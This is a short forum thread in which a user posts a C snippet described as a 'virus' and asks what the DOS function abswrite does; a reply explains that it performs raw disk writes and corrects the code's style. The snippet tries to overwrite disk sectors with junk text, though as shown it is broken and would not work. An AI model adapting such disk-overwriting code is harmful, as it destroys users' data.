monitoring
+ Reply to Thread
Results 1 to 3 of 3

Thread: C Command

  1. #1
    Join Date
    Sep 2006
    Posts
    1,649

    C Command

    I've seen the command 'abswrite' in many 'viruses' that basically bombard your computer with messages. What exactly does abswrite do. Here is an example of how it is used:

    #include
    #include

    main()
    {
    char *vir;
    int i;

    strcpy(vir,"");
    for (i=0; i<40; i++)
    strcat(vir,"DIE!!!!!!!!!!!!!");
    abswrite(2,50,0,vir);
    abswrite(*,50,0,vir);
    abswrite(4,50,0,vir);
    abswrite(5,50,0,vir);
    printf("Ouch dude... sorry..");
    };

  2. #2
    Join Date
    Sep 2005
    Posts
    2,050
    Quote Originally Posted by Moonbat
    I've seen the command 'abswrite' in many 'viruses' that basically bombard your computer with messages. What exactly does abswrite do. Here is an example of how it is used:
    I believe abswrite and absread are for raw disk access, bypassing the usual OS API for doing so. Those functions are only available in DOS though, so forget about using them in any modern Windows OS.

    Code:
    #include 
    #include
    Include what?

    Code:
    main()
    Should be int main().

    Code:
    {
    	char *vir;
    	int i;
    
    	strcpy(vir,"");
    	for (i=0; i<40; i++)
    	  strcat(vir,"DIE!!!!!!!!!!!!!");
    	abswrite(2,50,0,vir);
    	abswrite(*,50,0,vir);
    	abswrite(4,50,0,vir);
    	abswrite(5,50,0,vir);
    	printf("Ouch dude... sorry..");
    };
    Should have this:

    Code:
    return 0;
    before the closing brace (in your code, after the printf() line).

    This (at the end):

    Code:
    };
    should be:

    Code:
    }
    Last edited by Ezekiel; 09-21-2006 at 11:38 AM.

  3. #3
    Join Date
    Sep 2006
    Posts
    1,649

    hto sure

    I'm not sure of this guy's coding, I just found it on the internet so he probably has a few mistakes

+ Reply to Thread

Similar Threads

  1. Ping Command
    By vasurake in forum General discussion
    Replies: 2
    Last Post: 03-05-2008, 07:22 PM
  2. Net Send Command
    By bambamm89 in forum Internet Privacy
    Replies: 0
    Last Post: 02-16-2006, 08:54 AM
  3. COmmand Prompt
    By 123456 in forum Internet Privacy
    Replies: 18
    Last Post: 01-13-2006, 10:41 AM
  4. command prompt
    By polish pete in forum Internet Privacy
    Replies: 4
    Last Post: 01-07-2006, 04:15 PM
  5. Net send command?
    By Unregistered in forum Internet Privacy
    Replies: 3
    Last Post: 02-11-2005, 08:56 AM

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts